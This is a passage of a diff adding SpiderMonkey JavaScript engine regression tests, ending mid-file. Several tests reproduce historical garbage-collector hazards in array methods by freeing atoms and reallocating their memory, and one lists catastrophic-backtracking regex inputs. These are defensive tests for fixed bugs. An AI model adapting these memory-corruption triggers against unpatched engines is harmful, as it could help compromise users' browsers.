+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 339685;
+var summary = 'Setting __proto__ null should not affect __iterator__';
+var actual = '';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var d = { a:2, b:3 };
+
+d.__proto__ = null;
+
+try {
+ for (var p in d)
+ ;
+ actual = 'No Error';
+} catch(e) {
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-341956-01.js b/js/src/tests/non262/extensions/regress-341956-01.js
new file mode 100644
index 0000000000..2e40bd9350
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-341956-01.js
@@ -0,0 +1,65 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - unshift';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+
+ var a = [];
+ a[N - 1] = 1;
+ a.__defineGetter__(N - 1, function() {
+ var tmp = [];
+ tmp[N - 2] = 0;
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return 10;
+ });
+
+
+// The following always-throw getter is to stop unshift from doing
+// 2^32 iterations.
+ var toStop = "stringToStop";
+ a[N - 3] = 0;
+ a.__defineGetter__(N - 3, function() { throw toStop; });
+
+ var good = false;
+
+ try {
+ a.unshift(1);
+ } catch (e) {
+ if (e === toStop)
+ good = true;
+ }
+
+ expect = true;
+ actual = good;
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+}
diff --git a/js/src/tests/non262/extensions/regress-341956-02.js b/js/src/tests/non262/extensions/regress-341956-02.js
new file mode 100644
index 0000000000..0957c03ae5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-341956-02.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - pop';
+var actual = '';
+var expect = 'GETTER RESULT';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+ var a = [];
+ a[N - 1] = 0;
+
+ var expected = "GETTER RESULT";
+
+ a.__defineGetter__(N - 1, function() {
+ delete a[N - 1];
+ var tmp = [];
+ tmp[N - 2] = 1;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return expected;
+ });
+
+ actual = a.pop();
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+}
diff --git a/js/src/tests/non262/extensions/regress-341956-03.js b/js/src/tests/non262/extensions/regress-341956-03.js
new file mode 100644
index 0000000000..2985dfb2bc
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-341956-03.js
@@ -0,0 +1,69 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 341956;
+var summary = 'GC Hazards in jsarray.c - reverse';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 0xFFFFFFFF;
+ var a = [];
+ a[N - 1] = 0;
+
+ var expected = "GETTER RESULT";
+
+ a.__defineGetter__(N - 1, function() {
+ delete a[N - 1];
+ var tmp = [];
+ tmp[N - 2] = 1;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ return expected;
+ });
+
+// The following always-throw getter is to stop unshift from doing
+// 2^32 iterations.
+ var toStop = "stringToStop";
+ a[N - 3] = 0;
+ a.__defineGetter__(N - 3, function() { throw toStop; });
+
+
+ var good = false;
+
+ try {
+ a.reverse();
+ } catch (e) {
+ if (e === toStop)
+ good = true;
+ }
+
+ expect = true;
+ actual = good;
+
+ reportCompare(expect, actual, summary);
+
+ print('Done');
+}
diff --git a/js/src/tests/non262/extensions/regress-342960.js b/js/src/tests/non262/extensions/regress-342960.js
new file mode 100644
index 0000000000..d7d8f8a0c1
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-342960.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!Object.prototype.toSource||(!xulRuntime.shell&&(Android||xulRuntime.OS=="WINNT"||xulRuntime.OS=="Linux"))) silentfail slow -- bug 528464
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 342960;
+var summary = 'Do not crash on large string toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(5);
+
+ function v()
+ {
+ var meg="";
+ var r="";
+ var i;
+ print("don't interrupt the script. let it go.");
+ for(i=0;i<1024*1024;i++) meg += "v";
+ for(i=0;i<1024/8;i++) r += meg;
+ var o={f1: r, f2: r, f3: r,f4: r,f5: r, f6: r, f7: r, f8: r,f9: r};
+ print('done obj');
+ var rr=r.toSource();
+ print('done toSource()');
+ }
+
+ v();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-345967.js b/js/src/tests/non262/extensions/regress-345967.js
new file mode 100644
index 0000000000..0ca7f71c91
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-345967.js
@@ -0,0 +1,65 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345967;
+var summary = 'Yet another unrooted atom in jsarray.c';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expectExitCode(0);
+ expectExitCode(3);
+
+ print('This test will probably run out of memory');
+ print('This test really should only fail on 64 bit machines');
+
+ var JSVAL_INT_MAX = (1 << 30) - 1;
+
+ var a = new Array(JSVAL_INT_MAX + 2);
+ a[JSVAL_INT_MAX] = 0;
+ a[JSVAL_INT_MAX + 1] = 1;
+
+ a.__defineGetter__(JSVAL_INT_MAX, function() { return 0; });
+
+ a.__defineSetter__(JSVAL_INT_MAX, function(value) {
+ delete a[JSVAL_INT_MAX + 1];
+ var tmp = [];
+ tmp[JSVAL_INT_MAX + 2] = 2;
+
+ if (typeof gc == 'function')
+ gc();
+ for (var i = 0; i != 50000; ++i) {
+ var tmp = 1 / 3;
+ tmp /= 10;
+ }
+ for (var i = 0; i != 1000; ++i) {
+ // Make string with 11 characters that would take
+ // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
+ // malloc will ovewrite just freed atoms.
+ var tmp2 = Array(12).join(' ');
+ }
+ });
+
+
+ a.shift();
+
+ expect = 0;
+ actual = a[JSVAL_INT_MAX];
+ if (expect !== actual)
+ print("BAD");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-346642-06.js b/js/src/tests/non262/extensions/regress-346642-06.js
new file mode 100644
index 0000000000..e2617038f8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-346642-06.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346642;
+var summary = 'decompilation of destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+ actual = '';
+ "" + function() { [] = 3 }; actual = 3;
+ actual = 3;
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ var z = 6;
+ var f = eval('(function (){for(let [] = []; false;) let z; return z})');
+ expect = f();
+ actual = eval("("+f+")")()
+ reportCompare(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ // See https://bugzilla.mozilla.org/show_bug.cgi?id=408957
+ var summarytrunk = 'let declaration must be direct child of block or top-level implicit block';
+ expect = 'SyntaxError';
+ actual = ex.name;
+ reportCompare(expect, actual, summarytrunk);
+ }
+
+ expect = 3;
+ actual = '';
+ "" + function () { for(;; [[a]] = [5]) { } }; actual = 3;
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = 3;
+ actual = '';
+ "" + function () { for(;; ([[,]] = p)) { } }; actual = 3;
+ reportCompare(expect, actual, summary + ': 4');
+
+ expect = 3;
+ actual = '';
+ actual = 1; try {for(x in (function ([y]) { })() ) { }}catch(ex){} actual = 3;
+ reportCompare(expect, actual, summary + ': 5');
+}
diff --git a/js/src/tests/non262/extensions/regress-346773.js b/js/src/tests/non262/extensions/regress-346773.js
new file mode 100644
index 0000000000..024da5c720
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-346773.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346773;
+var summary = 'Do not crash compiling with misplaced branches in function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var src =
+ ' var it = {foo:"5"};' +
+ ' it.__iterator__ =' +
+ ' function(valsOnly)' +
+ ' {' +
+ ' var gen =' +
+ ' function()' +
+ ' {' +
+ ' for (var i = 0; i < keys.length; i++)' +
+ ' {' +
+ ' if (valsOnly)' +
+ ' yield vals[i];' +
+ ' else' +
+ ' yield [keys[i], vals[i]];' +
+ ' }' +
+ ' return gen();' +
+ ' }' +
+ ' }';
+ eval(src);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-350312-01.js b/js/src/tests/non262/extensions/regress-350312-01.js
new file mode 100644
index 0000000000..84ee0cd4a3
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-350312-01.js
@@ -0,0 +1,43 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var tmp;
+
+ function f()
+ {
+ try {
+ try {
+ throw 1;
+ } catch (e) {
+ throw e;
+ } finally {
+ tmp = true;
+ }
+ } catch (e) {
+ return e;
+ }
+ }
+
+ var ex = f();
+
+ var passed = ex === 1;
+ reportCompare(true, passed, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-350312.js b/js/src/tests/non262/extensions/regress-350312.js
new file mode 100644
index 0000000000..c10d849018
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-350312.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var iter;
+ function* gen()
+ {
+ try {
+ yield iter;
+ } catch (e) {
+ if (e != null)
+ throw e;
+ actual += 'CATCH,';
+ print("CATCH");
+ } finally {
+ actual += 'FINALLY';
+ print("FINALLY");
+ }
+ }
+
+ expect = 'FINALLY';
+ actual = '';
+ (iter = gen()).next().value.return();
+ reportCompare(expect, actual, summary);
+
+ expect = 'FINALLY';
+ actual = '';
+ try
+ {
+ (iter = gen()).next().value.throw(1);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'CATCH,FINALLY';
+ actual = '';
+ try
+ {
+ (iter = gen()).next().value.throw(null);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ reportCompare((iter = gen()).next().value.next().value, undefined, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-351070-02.js b/js/src/tests/non262/extensions/regress-351070-02.js
new file mode 100644
index 0000000000..ec288d859d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351070-02.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351070;
+var summary = 'decompilation of let declaration should not change scope';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var pfx = "(function f() { var n = 2, a = 2; ",
+ decl = " let a = 3;",
+ end = " return a; })";
+
+ var table = [
+ ["if (!!true)", ""],
+ ["if (!!true)", " else foopy();"],
+ ["if (!true); else", ""],
+ ["do ", " while (false);"],
+ ["while (--n)", ""],
+ ["for (--n;n;--n)", ""],
+ ["for (a in this)", ""],
+ ["with (this)", ""],
+ ];
+
+ expect = 3;
+
+ for (i = 0; i < table.length; i++) {
+ var src = pfx + table[i][0] + decl + table[i][1] + end;
+ print('src: ' + src);
+ var fun = eval(src);
+ var testval = fun();
+ reportCompare(expect, testval, summary + ': ' + src);
+ if (testval != expect) {
+ break;
+ }
+ var declsrc = '(' +
+ src.slice(1, -1).replace('function f', 'function f' + i) + ')';
+ print('declsrc: ' + declsrc);
+ this['f' + i] = eval(declsrc);
+ print('f' + i + ': ' + this['f' + i]);
+ }
+ }
+ catch(ex)
+ {
+ // See https://bugzilla.mozilla.org/show_bug.cgi?id=408957
+ summary = 'let declaration must be direct child of block or top-level implicit block';
+ expect = 'SyntaxError';
+ actual = ex.name;
+ reportCompare(expect, actual, summary);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-351448.js b/js/src/tests/non262/extensions/regress-351448.js
new file mode 100644
index 0000000000..9384d21b17
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351448.js
@@ -0,0 +1,59 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351448;
+var summary = 'RegExp - throw InternalError on too complex regular expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var strings = [
+ "/.X(.+)+X/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+X/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+XX/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+XX/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X][X](.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X][X](.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"
+ ];
+
+ expect = 'InternalError: regular expression too complex';
+
+ for (var i = 0; i < strings.length; i++)
+ {
+ try
+ {
+ eval(strings[i]);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + strings[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-351463-01.js b/js/src/tests/non262/extensions/regress-351463-01.js
new file mode 100644
index 0000000000..e7a9ce7ce7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351463-01.js
@@ -0,0 +1,250 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351463;
+var summary = 'Treat hyphens as not special adjacent to CharacterClassEscapes in character classes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var r;
+ var s = 'a0- z';
+
+ r = '([\\d-\\s]+)';
+ expect = ['0- ', '0- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\d]+)';
+ expect = ['0- ', '0- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\D-\\s]+)';
+ expect = ['a', 'a'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\D]+)';
+ expect = ['a', 'a'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\d-\\S]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\d]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\D-\\S]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\D]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+// --
+
+ r = '([\\w-\\s]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\w]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\W-\\s]+)';
+ expect = ['- ', '- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\W]+)';
+ expect = ['- ', '- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\w-\\S]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\w]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\W-\\S]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\W]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+}
diff --git a/js/src/tests/non262/extensions/regress-351973.js b/js/src/tests/non262/extensions/regress-351973.js
new file mode 100644
index 0000000000..a24c3ab6f6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351973.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351973;
+var summary = 'GC hazard with unrooted ids in Object.toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function removeAllProperties(o)
+ {
+ for (var prop in o)
+ delete o[prop];
+ for (var i = 0; i != 50*1000; ++i) {
+ var tmp = Math.sqrt(i+0.2);
+ tmp = 0;
+ }
+ if (typeof gc == "function")
+ gc();
+ }
+
+ function run_test()
+ {
+
+ var o = {};
+ o.first = { toSource: function() { removeAllProperties(o); } };
+ for (var i = 0; i != 10; ++i) {
+ o[Math.sqrt(i + 0.1)] = 1;
+ }
+ return o.toSource();
+ }
+
+ print(run_test());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-352291.js b/js/src/tests/non262/extensions/regress-352291.js
new file mode 100644
index 0000000000..f3c19b06c8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-352291.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352291;
+var summary = 'disassembly of regular expression';
+var actual = '';
+var expect = 'TypeError: /g/g is not a function';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis != 'function')
+ {
+ actual = expect = 'disassembly not supported, test skipped.';
+ }
+ else
+ {
+ try
+ {
+ dis(/g/g)
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-352372.js b/js/src/tests/non262/extensions/regress-352372.js
new file mode 100644
index 0000000000..106d8673ca
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-352372.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352372;
+var summary = 'Do not assert eval("setter/*...")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
